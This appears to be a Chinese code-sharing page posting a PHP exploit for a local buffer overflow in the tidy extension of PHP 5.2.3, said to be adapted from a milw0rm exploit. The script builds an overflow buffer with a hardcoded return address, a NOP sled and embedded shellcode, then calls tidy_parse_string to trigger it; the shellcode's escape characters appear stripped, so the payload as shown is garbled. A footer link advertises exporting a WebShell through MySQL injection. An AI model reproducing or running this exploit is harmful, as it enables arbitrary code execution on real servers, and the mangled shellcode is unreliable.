复制代码 代码如下:
<?php
if(!extension_loaded("tidy")){die("youneedTidyextensionloaded!");}
$scode=
"xfcxbbxc7xc4x05xc9xebx0cx5ex56x31x1exadx01xc3x85".
"xc0x75xf7xc3xe8xefxffxffxffx3bx2cx41xc9xc3xadxc1".
"x8cxffx26xa9x0bx87x39xbdx9fx38x22xcaxffxe6x53x27".
"xb6x6dx67x3cx48x9fxb9x82xd2xf3x3exc2x91x0cxfex09".
"x54x13xc2x65x93x28x96x5dx58x3bxf3x15x3fxe7xfaxc2".
"xa6x6cxf0x5fxacx2dx15x61x59x5ax39xeax9cxb7xcbxb0".
"xbax43x0fx79x03x2fx04x3axb3x2axdaxc3xbfxbfx9bx3f".
"x4bxcfx07xedxc0x47x30x06xdfx1cxc0x68xe0x22xc1x03".
"x89x1ex9ex22xbcx3ex76xccxb8x3dxb6xb5x68x29xc7xc0".
"x8dxf6x4fx4dx73x82x9ex3ax73x75xfdxa9xefx57x67x4a".
"x95x87x48xc9x75xa9xf3x79x56x40x8fxe4xe4x8ax1dx86".
"x71xa2xd5x2bxa2x40x77xd5xcax90x14x05x24x99x9ex01".
"x1ax3fx39xaax34x5ax31x8axa4xcbxdaxabx58x74x6fx43".
"xd4x0axafxdax72x87xc6xb2x13x24x6dx39x85xbexe2xcf".
"x36x1ex8fx4exc0x36x5bxf2x12xe9xe2xb0x16xf5xe4x38".
"x97xf5xe4x38x97";
$EIP="xD8x69x83x7C";
$NOP=str_repeat("x90",12);
$____buff=str_repeat("a",2036).$EIP.$NOP.$scode;
tidy_parse_string(1,$____buff,1);
?>
看了MILW0RM上的EXP稍微改了下，中
【PHP 5.2.3 tidy扩展本地溢出漏洞利用代码】相关文章：
★ MySQL注入中导出字段内容的研究通过注入导出WebShell